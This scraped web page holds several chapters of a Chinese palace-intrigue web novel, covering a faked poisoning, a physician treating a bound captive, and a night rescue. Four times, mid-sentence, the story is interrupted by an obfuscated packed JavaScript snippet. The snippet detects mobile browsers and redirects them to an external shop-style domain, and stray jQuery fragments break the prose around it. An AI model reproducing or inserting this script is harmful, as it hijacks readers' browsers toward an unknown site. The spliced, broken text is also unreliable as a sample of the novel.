时异点点头,嗓中没有发出声音。 江御暮使个眼色,费红英便解开了捆住他下半张脸的布条,接着取出他口中堵着的布团。 时异猛吸一口新鲜空气,嘴巴张得太久,骨头甚至有些错位,费了好一会工夫才顺利闭合。 他没有放松警惕,低声问道:“你们要做什么?” 费红英十分上道,打算替江御暮收买人心,于是答道:“江小姐见你可怜,特意请我来为你解毒。我可是立下军令状了,一月之内,保证令你体内再无遗毒。” 江御暮挑了挑眉,没有戳穿。 时异左看看,右看看,似乎不知能不能相信她们。 费红英没空跟他多聊,又抬起头问江御暮:“能给他松松绑吗?他现在这样坐在地上,还靠着柱子,不好扎针啊。” 时异又一次撞上江御暮的眼神,只听她嘱咐道:“松了绑,你可别乱跑啊。你自己那点功夫能称几斤几两,心里也该有点数,别在我面前耍花招。” 时异想起不久前的速败之局,有些羞恼地低下头,忿忿道:“我知道,不用你提醒。” 斩断牛皮绳后,费红英指挥时异脱掉上衣,趴在床上。 她施针行云流水,每个穴位都一扎即中。 扎下最后一针之前,费红英从医药箱里取出一只空碗,交到时异手中,叮嘱道:“待我扎完最后一针,你就会立即吐出一口毒血。喏,你现在就把这个碗放在嘴边,等着接血,一滴都不许漏!” 时异没有吭声,默默接过碗,平放在面前。 随着最后一针刺入皮肤,他果 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13108636|136661||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然猛地吐出一口鲜血,颜色比寻常血液深了不少。 江御暮是外行,什么也看不懂,便问:“这是在解毒么?” 费红英摇摇头:“不,只是取血,用于研制解药。” 说着,她将时异背上的长针一根根拔出,收回针包里。 “多谢……”时异突然出声,“江小姐,还有……” 他将目光投向费红英,意在询问她姓甚名谁。 费红英会意,一本正经道:“我姓神,单名一个医字。” “喔。”时异心知她这是不愿透露真实姓名的意思,“那便多谢神医姑娘了。” 费红英没接茬,背着医药箱起身往门外走,边走还边对江御暮说道:“困死了,你要么亲自背我回医馆,要么让我在你这住一晚上,反正我不要自己走回去。” 江御暮站在偏房门口,笑着回道:“行行行,住这吧,房间随你挑。” 目送费红英回屋睡觉后,她才再次回到偏房,表情也变回了严肃的样子。 时异已经穿好了衣服,十分自觉地捡起地上的牛皮绳,对江御暮说道:“江小姐若怕我趁夜逃跑,就再捆我一次吧。” 江御暮也不跟他假客气,直接将时异的四肢分别绑上床架一角,正如江连镜被绑的那样。 时异面无表情地看着她的动作,半晌,鬼使神差地吐出一句:“安王殿下如今视我为弃子,将来也一定会对你弃如敝屣。” 江御暮冷笑一声:“还叫他‘殿下’呢?够忠心的。” 时异自嘲一哂:“狗做久了,摇尾巴也会变成习惯。” 江御暮弯腰系紧最后一根绳索,拍拍手站直身子,盯着他的眼睛道:“栓狗用一条绳子就够了,栓你,得用四条呢。” 语毕,她转身离开,还不忘锁上偏房的门。 回到屋里才发现,费红英已经在她的床上睡着了,还霸着大半床被子,拽都拽不动。 嘿,真不拿自己当外人! 好在这张床足够宽敞,睡三个人都绰绰有余。 次日清早,江御暮醒来的时候,费红英已经去偏房“望闻问切”了。 她的敬业无可置疑,奈何那毒实在诡异,费红英潜心钻研了几天几夜,仍然没有太大进展。 第三日,时异果然开始频繁咳血,一个时辰里最多能咳六七次。 第四日,时异的面色已经苍白如纸,闭上眼躺在床上,简直与新鲜的尸体无异。 第五日,穆归礼便等不及去了枕闲书铺。 “本王没有骗你吧,那毒发作时的症状,是不是与太子的怪病如出一辙?” 江御暮知道,他这是在催促自己对穆归衡下手。 于是次日早朝一下,她便敲开了太子府的门。 “到时候了,是吗?”穆归衡问。 “嗯。”江御暮轻轻点头,“穆归礼知道我今天会来找你。” 几乎与此同时,穆归衡脑中又响起了系统提示音: “主线任务【手足相残】已解锁并自动接取。” “系统指定任务对象——穆归礼。” 21. 太子协秘友做假戏,太医求自保咽…… “手足相残?还指定了穆归礼为目标?”江御暮听完穆归衡的讲述,不由大惊,连忙问起最关键的一条要求,“任务时限是多久?” “一年,从今日算起。”穆归衡答道,“这是我第一次接到有【主线】二字做前缀的任务,系统说,此类任务的时限都相对较长。” 江御暮松了口气:“还好还好,不必急于一时。” 穆归衡赞同道:“嗯,眼下还是先救出你弟弟最为要紧。” 说话间,饭菜已然端上了桌,虽是大鱼大肉,二人吃着却都没什么滋味。 临别时,穆归衡问起:“你要如何将‘已经成功投毒’的假消息传给穆归礼?” 江御暮坦言道:“我不必主动传信于他。他知道我计划今日‘动手’,晚上一定会来府里找我询问情况。” 因此,江御暮提前跟费红英交代了,让她今晚好好在医馆待着,切不能在江府现身。 事情果然如她所料,天刚擦黑,穆归礼就敲开了她的窗。 “如何,得手了吗?”他问。 “这还用问?”江御暮满脸理所当然,“三天后,不就能见分晓了么?” 穆归礼早习惯了她这种没好气的态度,再加上此刻听到了她的好消息,心情极佳,于是笑着承诺道:“好!三日后,待本王确认太子已然毒发,便立刻放了江连镜!” 江御暮看起来毫不在乎:“不必急着放人,让他多在你那里吃点苦头也好。不过,三日后你可以带我去见一见他,只要我能确认他还活着就行了。” 穆归礼哈哈大笑,看向她的眼神里多了几分欣赏——那是对“同类”的欣赏。 至少,他认为他们是同类。 如果说,以前他只是想利用江御暮达成自己的目的,用完就可以弃之不顾。现在,他却开始认真考虑娶她为妃的好处了。 穆归礼理想中的王妃,就应该是一个有能力,靠得住的盟友,而不是所谓的贤妻良母、知心爱人——当然,女人也不可能成为他的爱人。 在穆归礼看来,江御暮的好处恰恰就在于——她并不需要夫君的爱,只想要女人堆里最拔尖的地位。 若他们真能成婚,就算来日江御暮发现了他喜好男风的秘密,也不会像纪青元那样崩溃发疯,甚至以此为把柄,来要挟他。 与之相反,江御暮一定会为了保住自己的地位,比他更努力地遮掩此事,不教皇帝发现丝毫端倪。 想到这里,穆归礼甚至对休妻再娶之事有些迫不及待了。 可是一旦休妻,让纪青元脱离他的掌控,她会不会为了报复,直接把他的秘密上奏皇帝呢? 此事本来很好解决,杀了纪青元便可后顾无忧。偏不知她从哪得了一个叫青萝的女人相助,一人在明一人在暗,牵制住了他的手脚。 该死,该死……那个“青萝”神神秘秘的也就罢了,偏偏还与太子有说不清道不明的牵扯,若查不出她是谁,穆归礼如何能放心!? “对了,江小姐。”他决定问问她,“你与太子过从甚密,可曾听闻他手下有个叫‘青萝’的神秘女子?” 江御暮满目迷茫,仿佛此人与她毫无干系,问道:“哪两个字?” 穆归礼在双瑛布庄的名册上见过那个名字,回答道:“青色的青,女萝的萝。” 江御暮想了想,接着问:“是太子的丫鬟、护卫、还是红颜知己?” 穆归礼一问摇头三不知。 江御暮又问:“那女子年方几岁?相貌、体型、声音有何特点?” 穆归礼忆起管家和丫鬟们的描述,一一作了回答,但都十分笼统,构不成一幅画像。 江御暮佯装仔细回想片刻,摇摇头道:“我从未见过太子身边的其他女人,也没听过这个名字。” 穆归礼本就没抱太大希望,正欲岔开话题,却听江御暮话锋一转,问出了他从未想过的问题。 “既然你不曾亲眼得见,只听了下人们的描述,又如何能百分百确定那个‘青萝’一定是位女子?就不能是男扮女装的清秀少年么?” 穆归礼眼神一震,似乎觉得这个说法有些道理:“丫鬟们确实说过,那个‘青萝’的身量比一般女子高出许多。” 是啊,江御暮的身形本就高挑,那天为了伪装,还往鞋里塞了厚厚几层软垫,以至于比陶瑛高出约莫大半个头。 穆归礼越想越觉得有理,接着分析道:“还有,那个‘青萝’的两肩也比丫鬟们宽出许多。” 能不宽么,江御暮特意垫的双开门效果,就是为了混淆视听。 眼看穆归礼已经陷入沉思,江御暮摆出一副好奇的模样问道:“那人与你有什么交集?你找她是打算拉拢,还是铲除?” 穆归礼怕她深究背后根由,连忙遮掩道:“本王倒没有想这么多,就是知道太子身边有这么个人,神出鬼没的,担心她坏了咱们的大事。” 江御暮见他未吐实话,便也不欲多言,瞧着有点下逐客令的意思。 穆归礼还算识趣,没有留下继续打扰,临走前只问了一句:“对了,时异呢?还活着么?” 江御暮简略答了声活着,穆归礼似乎想说些什么,犹豫片刻,又把话咽了回去。 等待的日子总是难熬,短短三天,仿佛有三年时长。 终于熬到第三日,穆归礼一大早就坐不住了,派人四处打探太子府里有无异动。 穆归衡则按照江御暮事先交代的那样,一直耗到晚饭时间,才当着满屋仆役护卫的面,吐出一口假血。 “传……传太医……” 话音一落,他就假装晕了过去。 太医们不敢怠慢,一接到消息就往太子府赶,下了马车接着飞奔而来,争先恐后,鞋底都快磨出了火星子。 一入内院,就看见太子护卫们纷纷苦着脸,询问才知,从晚膳后到现在,不到半个时辰的时间,太子已经吐了四次血,比以往任何一次发病都更加严重。 太医们都心道不妙,万一太子驾鹤西去,皇帝盛怒之下,岂不是要杀了他们陪葬? 无论如何,现在情况危急,一刻也不能再耽搁了。 院首陈太医身先士卒,打头阵走进了太子屋中。 屋内弥漫着浓郁的血腥气,太子躺在床上,双眼紧闭,护卫石涅陪在一旁,面上又是焦急又是悲切,就差哭出声了。 其他太医不远不近地跟在陈院首后面,也走进屋来,你看看我,我看看你,心里都在发慌。 陈太医仔细号了半晌的脉,更加摸不着头脑——从脉象来看,太子和那日的江小姐一样,都应该无比健康,没病没痛啊!可是这俩人怎么都昏迷不醒,看上去一个比一个严重呢? 完了完了,难不成是他老糊涂了,连号脉的本事都退步成了这样,什么异常都号不出来? 趁太子昏迷,不会降罪于众人,陈院首连忙指挥其他太医依次给太子号脉。 谁知,竟无一人能说出个所以然来。 石涅等不及,催问道:“太子殿下的病症到底如何?你们能不能治好?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13122873|136661||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 回应他的只有一片死寂,空气里除了血腥味,还多出一份只可意会的恐惧味道,愈发浓郁。 陈院首顶住压力,一边擦汗一边回答道:“这、这是太子殿下的多年旧疾,一时半刻也无法根治。臣等不敢冒进,只能先开些补气补血的方子,帮殿下调养调养。” 石涅大怒:“又是这番说辞!殿下让你们调养了这些年,不见好转也就罢了,怎么这次发病,还比往日严重许多呢!?” 太医们战战兢兢,随陈院首一起跪下。 一片纷乱的请罪声中,穆归衡缓缓睁开双眼,有气无力的样子。 “滚。”他轻声道。 太医们隐约听见太子好像在说话,却没听清他说了什么,只得安静下来,将求助的目光投向石涅。 石涅也没听清,弯腰凑到穆归衡身边,小声问道:“殿下,您刚才说什么?” “本宫说……”穆归衡多用了两分力气,“让他们,都滚出去!” 这次不必石涅传话,众太医纷纷起身往外跑,生怕落在后面。 陈太医回头望了穆归衡一眼,没敢多看,最后一个走出房间,还顺手把门给关上了。 石涅轻手轻脚地走到窗边,推开一条小缝,观察确认太医们正在全情投入地讨论太子的“病情”,无人注意屋内的响动。 他这才回到穆归衡床边,蹲下身问道:“殿下,您还有什么吩咐?” 穆归衡想了想,说:“多准备几条帕子,父皇应该很快就会来。” 石涅应了声是,俯身半趴着,从床底下拉出一个铜盆,里面装着小半盆鲜血,如此一动,原本平滑如镜的液面上立时泛起阵阵涟漪。 接着,他取出几条绸帕,分别对折几次,中心位置蘸上盆里的鲜血。准备妥当后,又将铜盆推入床下,藏了起来。 虽然不知道太子殿下为什么要装病,但是他做过的怪事多了,也不差这一件。在石涅看来,自己只需尽力配合就行,食君之禄,忠君之事嘛。 “取一条帕子,出去交给陈院首。”穆归衡突然吩咐道。 石涅领命而去,在太医面前,自然只称那绸帕上的血是太子刚才咳出来的。 陈院首接过绸帕,细细端详,其余几位太医也围上来凑热闹。 学艺不精之人,只在心中暗道:看来,太子命不久矣! 眼明心细之人,却能看出门道——这帕子上沾的绝非人血,而是鸡鸭一类家禽的鲜血。 可是,太子为什么要用这种方式装病? 难道背后还有更大的图谋? 太医们不敢多想,也不敢多言。就算看出了门道,也权当什么都没看出来。与皇家打交道,最重要的就是管住嘴,管住心,一切以保命为上。 陈院首却比他们多想一层——以前太子发作咳血之症,吐出的可都是货真价实的人血。虽然脉象也无任何异常,但因剧痛而淌下的热汗不可能作假。 今日不知为何,他装病装得兴师动众,还自己送上这样一条满是漏洞的带血绸帕。 凭太子对陈院首的了解,肯定知道他能看出这帕子上沾的并非人血。 那么,太子派人送来这条帕子究竟有何目的呢? 是在警告太医院不要乱说话? 还是一种恩赐般的提醒,表明自己并非真的病重,众太医没有陪葬的风险? 陈院首一时想不出答案,正欲将绸帕收入袖中,就听到院外传来老太监尖细刺耳的声音。 “皇上驾到——” 22. 皇帝忆往昔变慈父,晚朝议皇榜寻…… 皇帝黑着一张脸,向众太医询问太子的病情。 太医们众口一词,都说太子虽病情无故加重,但吉人自有天相,一定能慢慢好转。 皇帝心知他们不过是在说漂亮话,安慰自己也好,意图保命也罢,总之都意味着太子的情况不容乐观。 这时,石涅也从屋内快步跑出,向皇帝跪拜行礼。 “启禀陛下,太子殿下现在已然病得无法下床,实在不能出来给您行礼了,望祈陛下恕罪……” 对于失子的恐惧涌上心头,皇帝呼吸愈发急促,脸色也难看得无以复加,径直冲进了眼前的卧房之中。 而他最看重的爱子,穆归衡,就静静地躺在床上,面如纸色,毫无生机,像个空心的瓷偶。 或者说,像个用于陪葬的人俑。 皇帝双腿发麻,唯恐迈出两步就要跌倒。为维持君主天威,他不许任何人靠近这间屋子。 然而关紧门窗后,他才意识到屋内的血腥气有多浓重,几乎让人无法喘息。 皇帝慢慢走近穆归衡,扶着床架坐在床的边缘,伸出手,想碰一碰这个命途多舛的孩子。 可是手指颤抖着,颤抖着,终究还是收了回来。生怕轻轻一碰,就碰碎了瓷偶的最后一丝生魂。 此时此刻,他仿佛不再是皇帝,只是穆明,只是一位父亲,一位逃不脱白发人送黑发人之宿命的父亲。 看着穆归衡青春正盛的面孔,穆明抑不住地想起这孩子小时候的样子—— 穆归衡是他见过最为早慧的孩子,刚学会握笔就能写字,笔底龙蛇使其他皇子望尘莫及。 穆明从那时就开始盼望,盼望这个儿子能好好成长,别染上他那些兄长们的荒唐性子。 人道三岁看小,七岁看老,穆归衡一直长到十二岁,各方面都符合皇帝对储君的一切要求。 所以,穆明毫不迟疑地将这个孩子立为了太子。 他感谢上天,感谢祂给自己送来了一个近乎完美的继承人——也许这孩子的诞生,就是上天发来的一个信号,意味着祂已经原谅了他犯下的窃国之罪。 然而,令他再度陷入绝望的是,太子竟在离宫开府的当天晚上生了一场大病。全身骨骼如碎裂般疼痛,口中吐出的鲜血浸透了几条帕子,连同豆大的汗珠一起淌下。 所谓慧极必伤,慧极必伤呵…… 自那以后,太子性情大变,喜怒无常,行事之荒唐暴虐,比他的兄长们有过之而无不及。 皇帝为此不知流过多少眼泪,可是有什么用呢? 报应,都是报应啊。原来,上天从来没有原谅过他。 之所以给他一丝希望,不过是为了在将来彻底夺走这份希望时,带给他百倍千倍的痛苦。 也许,这个孩子终究是被他连累的。 “咳、咳咳——” 穆归衡忽然咳嗽几声,将皇帝从回忆里拉了出来。 咳嗽越来越激烈,皇帝坐近几分,想去帮他拍拍背。 穆归衡却将身一扭,不知有意还是无意地躲开了他的动作,顺势从枕下捞出一方绸帕,捂着嘴更用力地咳嗽几声,甚至逼出了几滴生理性的眼泪。 一切归于平静后,他放下绸帕,摊开掌心。 只见那帕子中央,已然染上一片鲜红的血液。 穆归衡气若游丝:“父皇,您怎么来了……儿臣,参见……” “罢了罢了,快免礼吧!”皇帝扶他重新躺下。 穆归衡又咳几声,尽力表现出命不久矣的样子,含泪请求道:“儿臣自知时日无多,还请父皇早做打算,尽快……另立储君吧……” 这是他第一次向皇帝提出这样的请求,尽管这个想法已经在他心里生根多年了。 然而刚说到关键之处,穆归衡脑中就响起系统的警告声:“检测到违规行为【自请废太子】,即将降下惩罚。” 穆归衡用心声问道:“自请废太子为何也算违规?你此前从未提过这一条规则!” 系统顿了顿,才道:“本系统有权随时更改基础规则,或添加补充条款。” 给出这个回答以后,它似乎也自知理亏,于是大发慈悲道:“也罢,念在尔是初犯,此次违规便不罚了,以后务必牢记新规。” 穆归衡这才松一口气,刚回过神来,就听皇帝言辞恳切地驳回了他的请求。 “胡闹!你是朕钦定的太子,必有龙气护佑,得以长命百岁!从今以后,决不许再说‘另立储君’这样的荒谬之语!” 所谓长命百岁,其实皇帝说出这句话来,自己都不相信。 瞧着眼下的境况,太子肯定是活不长了。 皇帝救不了他,太医也救不了他。 皇帝能做的,也只有给他留下一点安慰,一点温情。让他离开人世时,仍享太子之尊,得以受万民拜送。 可是,他终究不能甘心。 自己身为皇帝,面临爱子即将英年早逝的现状,难道真的就提供不了其他帮助么? 离开太子府后,他连夜召集群臣,开了个“晚朝”,命百官集思广益。 众人一筹莫展之际,户部尚书江淮照大胆出列。 “臣以为,太子的病因玄之又玄,或非医者能解。陛下可遣人在各地府衙张贴皇榜,广寻民间神道高人,助太子殿下承天之佑,逢凶化吉。” 此言实在惊人,朝堂上一时议论纷纷。 常与江淮照打交道的几名官员彼此交换眼神,都觉得奇怪——老江平时不是最烦鬼神之说吗?现在怎么会给皇帝出这种主意? “肃静!”皇帝受够了吵闹,不悦拍桌。 百官霎时收声,静等皇帝对江淮照的提议做出评价。 也许是“承天之佑”四个字说到了他的心坎里,皇帝对这个主意已有几分赞同。接着又听了其他几个大臣的想法,觉得都不如这个,于是当即拍板。 “就依江爱卿之言,退朝!” 江淮照心里长出一口气,回府后立刻派人请江御暮来到书房,将此事转告于她:“皇上果然采纳了你的建议。” 江御暮微微一点头:“那便好,接下来的事,还请父亲多费心。” 江淮照压力颇大,却也很有动力:“放心,交给我便是了!” 江御暮又问起:“今夜这次‘晚朝’,其他几位皇子可曾出席?” 江淮照摇摇头:“都不曾来。不过,我回府时途径宫门,却看见各家王府都派了人来打探消息。” 哦,是这样。 算 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13130204|136661||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 算时间,穆归礼应该也收到消息了吧。 江御暮猜测他今夜多半会来访,于是准备回到自己院中等他。 谁知刚进小院,就看到穆归礼已经来了。 他站在关着时异的那间屋门前,盯着门外的铁链和铜锁,手指时不时拨动两下,不知是闲得无聊,还是另有意图。 江御暮走到他身后,阴阳怪气道:“安王殿下,你还真把江府当成自家的后花园了?” 穆归礼转过身来,冲她若无其事地一笑:“非也非也,本王只是听到了太子命不久矣的好消息,特地来向江小姐道谢。顺便履行诺言,带江小姐去见一见令弟,确认他还安全。” 江御暮打了个哈欠,略微眯着眼道:“现在都这么晚了,还是明日再去吧。江连镜那小子,还不值得我为他熬夜。” 穆归礼闻言,欠兮兮道:“那本王呢?值得江小姐熬夜么?” 江御暮瞥他一眼道:“你若没点正事,就赶紧走,我现在已经困得要命了。你若有正事,我倒可以再熬一炷香的时间。” “正事嘛,自然是有的。”穆归礼呵呵一笑,“既然江小姐已经给太子下了毒,那么你留着时异也没有用了,不妨让本王带他回去,如何?” 当然不行。 单论时异见过费红英这一点,就绝不能让他脱离江御暮的掌控。 “你给时异灌了毒药,他都快恨死你了,带回去又能做什么呢?难道还指望他为你效力?” 穆归礼自信满满道:“本王打算把解药赐给他。能捡回一条命,难道他还会继续怨恨本王吗?” 江御暮尽量拖延时间:“行,反正留他在江府也是白吃几碗饭,你要带就带走吧。不过……我得先确认江连镜还活着,再放人。” 穆归礼没有异议:“好,那咱们就于明日巳时,在你的书铺碰头。” “不见不散。” 做好约定后,穆归礼飞身离去。 江御暮怕他去而复返,还特意跟出一段距离,确认他真的已经走远才放心。 回到院里,江御暮打开偏房的门锁,解开铁链,推门而入。 时异面无表情地趴在床上,费红英正在给他针灸。 抬头见江御暮已经打开房门,费红英松一口气:“终于能出声了,刚才好悬没憋死我。” 说完,又冲时异的后脑勺扬了扬下巴:“刚才安王隔着窗户叫他名字,我就用针把他的听觉暂时封住了。幸亏我反应快,否则他一听到安王关心他,非得聊起来不可!” 江御暮给费红英比了个大拇指,连声赞她几句机警,继而问道:“穆归礼都说什么了?” 费红英思索着回答道:“就是问他这几日过得怎么样,身体能否抗住之类的。” 江御暮这会没工夫深究,转而问起正事来:“我要的迷香,你可配好了么?” 费红英点点头,从药箱里取出几支火折子形状的物什,递给江御暮,还不忘嘱咐一句:“这药劲可大了,你用的时候千万要注意,别待在下风向啊。” 江御暮失笑:“这还用你提醒?我又不是三岁小孩!” 费红英轻推她的双肩:“行了行了,算你是三百岁的老妖精,赶紧拿好迷香,去救你重任在肩的老弟吧!” 23. 江御暮趁夜救义弟,穆归礼惊觉院…… 依照记忆中的路线,江御暮趁夜赶到了关押江连镜的院子。 她没有从大门进去,而是先跃上房顶查看情况。 关人那屋的门被两名护卫把守着,一左一右,哈欠连天。 出于谨慎,江御暮先用两层面巾裹住口鼻,而后才取出一支迷香,打开盖子吹了口气,细长的圆筒里立时冒出一股白烟。 夜风徐徐吹着,白烟混入其中,颜色渐渐消逝不见,迷香的效力随之扩散开来。 不多时,守门的两名护卫就觉得眼皮重了几分,即便努力想保持清醒,也无法睁开双眼。 怎么回事,是太困了吗? 左边那人嘴里囫囵说了几个连不成句的字,身体一歪,旋即昏倒在地。 右边那人这才后知后觉地反应过来:不好,我们是中了迷药了! 他还想亡羊补牢,抬手去捂口鼻,可是为时已晚。在迷香的作用下,他的手根本抬不起来,只觉一阵天旋地转,眼前便彻底黑了。 江御暮这才合上香筒盖子,从屋顶跃入院内。 诚然,她若想进屋救人,可以直接打晕这两个护卫。之所以选择用迷药,其实是为了隐藏身份。 首先,这两人不但见过江御暮,而且都和她交过手。一旦打起来,即便她蒙着面,也很有可能被认出真实身份。 其次,就算这两人眼拙认不出她,可是等到明日,他们向主子汇报人质被劫之事时,穆归礼肯定会怀疑救人者是她。 所以,她才要给他留下一条错误的线索——救人前先用迷香迷倒守门的护卫,说明救人者武功一般,无法做到、或没有信心做到以一敌二。 如此一来,就算穆归礼怀疑到她头上,她也有辩驳的余地。 江御暮上前依次扒开两名护卫的眼皮,确认他们的确已经陷入深度昏迷之中。 而后抽出其中一人的佩刀,用力砍断门上的铁锁。 响声巨大,吵醒了屋里的江连镜。 他的心砰砰地跳起来,似乎隐隐觉得——不,隐隐期待门外的人是江御暮。 毕竟若是穆归礼,或他手下的护卫,想进这扇门,直接用钥匙开锁就行了。 用刀劈锁?这可是江御暮的行事风格,他再熟悉不过了。 江连镜四肢被缚,无法坐起身,只能尽力伸长脖颈,向门口方向看去。 只见一把弯刀从门缝捅入,挑开两侧门板,穿着夜行衣的高挑身影一闪而入。 拉下面巾,来者正是江御暮。 江连镜心中大喜,却不敢出声,怕给她引来麻烦,于是只笑着望向江御暮,静等她告诉他现在是何情况。 江御暮快步走到床边,斩断捆他的四条绳索,言简意赅道:“跟我走。” 江连镜顾不上活动手脚,紧跟着她走出屋门。见守门的两名护卫都晕倒在地,便放松了许多。 江御暮指挥道:“去开院门。” 江连镜照做,跑去打开院门后,探出头左右张望一番,确认附近没有其他眼睛。 江御暮则再次掏出刚才那支迷香,打开盖子扔在两个护卫中间的地上,接着从里面扣上门栓,翻墙离开。 拐出几条小巷,确认距离拉远以后,她才有心思跟江连镜对话。 “你的伤怎么样了?” 江连镜笑着开口,本想说伤已经好得差不多了,让她不必担心。 可是刚吐出一个“我”字,他忽又反应过来—— 不对啊,他之所以故意受伤,不就是为了留在京城养伤吗? 如果伤好得太快,江御暮岂不是又要赶他去涵州了? 想到这里,他脸上的表情由喜转哀,语气也沉了下来。 “我……这几天都没怎么换药,伤口又痒又痛,怕是还得等一阵子才能恢复。” 江御暮又问:“这几日,穆归礼可曾来找过你?” 江连镜像是猛地想起了什么,突然停住步伐,扭头看向江御暮。 “怎么了?”她也停住脚步,不解地问。 江连镜语气不善:“来过一次,说了许多不中听的话。” “都说什么了?” 江连镜不自知地捏紧拳头,恨不得打在穆归礼脸上。 “他说,你很快就会成为他的下一任王妃。” 江御暮垂眸,轻轻“哦”了一声。 江连镜没想到她会是这种反应。老实说,这种反应让他很是恼火。 “什么叫‘哦’?怎么可能只是‘哦’?难道你不打算反驳一下吗?” 江御暮故意逗他:“怎么,你不愿意做安王殿下的小舅子?” 在江连镜看来,这个问题已经荒谬到了有些好笑的地步。 “安王?还殿下?江御暮,你是眼瞎还是心盲了?难道看不出那东西就不是个东西吗?!” 江御暮微微眯眼:“给你脸了?少教训我。” 江连镜怒视着她,却仍旧乖乖收声。 二人方才还并肩而行,现在则变成了一前一后。 沉默半晌,江连镜在后面挤出一句:“就算你愿意,爹娘也不会同意的。” 江御暮敷衍道:“哦。” 江连镜气不过,快走几步赶上前来,伸出一手拦住她道:“穆归礼到底给你灌了什么迷魂汤?有本事你说出来!我宁愿去给红英姐磕一百个头,也要求她给你配出解药来!” 江御暮推开他的胳膊,叹道:“你若总这么沉不住气,今夜我原打算交给你的某份重任,可就要考虑换给别人了。” 江连镜一怔,眼神忽地亮起来:“什么重任?肥水不流外人田,别换别换,还是给我吧!” 江御暮心道:还是这招好使,果然啊,跟小时候一个样。 “先回家。” 多吊吊他的胃口,免得他心一定,又要在她耳边聒噪。 回到江府,江御暮直接把江连镜带进了她屋中,请费红英出马,帮忙看看他的伤情。 江连镜却推三阻四,唯恐谎言被揭穿。 费红英看出端倪,对江御暮说道:“要治伤,小镜就得脱了上衣。你这做姐姐的就避一避嫌,先出去等着吧。” 江御暮心知有鬼,却没有戳穿,无言走去了屋外。 费红英这才去看江连镜的伤口,认真道:“恢复得很好嘛,有什么不能告诉你姐的?” “就是因为这样,才不能告诉她。”江连镜压低声音道,“红英姐,你就帮我遮掩遮掩吧。其实,这也是为了江御暮好。” “为什么?”费红英着实好奇。 江连镜耐心解释:“她最近的日子实在不太平,还非要孤军奋战,把我和妹妹都打发走!我这不是想着,用养伤的借口留在京城,她身边就多一个帮手嘛。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13145596|136661||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>费红英正在帮他重新包扎,听了这话,手上力度冷不防加重了几分,不爽道:“瞧你这话说的,御暮怎么就孤军奋战了?我不是她的帮手吗?” 江连镜赶忙赔不是:“是我失言,合该打嘴!红英姐,你向来是江御暮的左护法,我呢,也想捞个右护法当当。你看……能不能帮小弟一把呀?” 费红英斜睨他一眼:“看你的造化吧。” 语毕,她走出屋外,对倚在窗边墙侧的江御暮小声说道:“以我对你的了解,你刚才肯定在偷听吧?” 江御暮答得隐晦:“只是耳力好罢了,怎么能算偷听呢?” 费红英不置可否,又问:“那这个右护法,你到底收是不收?” 江御暮冲她挑起眉毛:“这可由不得我,得看他自己能不能通过今晚的考验。” 所谓考验,自然就是她方才提过的“重任”。 费红英很识趣地待在门外,只留那姐弟两人自行商谈。 等候许久,江连镜才从屋内走出来。而且,换上了一身夜行衣。 江御暮似是毫不关心他能否凯旋,一觉直接睡到了大天亮。 费红英仍起得很早,正在研制时异所中之毒的解药,似乎有些眉目了,桌子上摆满了瓶瓶罐罐,里面的红色液体深浅不一。 江御暮看不出名堂,便也不多在此耽搁,转身去了枕闲书铺。 穆归礼果然像昨夜约好的那样,按时来到这里找她。 江御暮问:“今日还要蒙我的眼么?” 穆归礼摇摇头:“本王早就说过,只要江小姐交出投名状,本王对你便只有信任,再无猜疑。既然太子如今已然病重卧床,本王自然不会再对你有所防备。江小姐,请吧。” 于是二人同行,向那小院走去。 一路上,江御暮时不时左看看,右看看,仿佛第一次走这条路,看哪都觉得新奇似的。 来至小院门口,穆归礼按照有规律的节奏敲响院门。 等待半晌,里面没有人来开门。 再敲一次,仍旧无人理会。 穆归礼心道不妙,直接一脚踢在门上,却没有踢断门栓。于是又重重补了几脚,才把大门踢开。 一走进院子,他就看见两个守门的护卫倒在地上。关人那间屋子的房门大敞着,风吹动门板,使门轴发出刺耳的吱呀响声。 “怎么回事?”江御暮的声音听上去有些惊恐,“江连镜呢?在那间屋子里吗?” 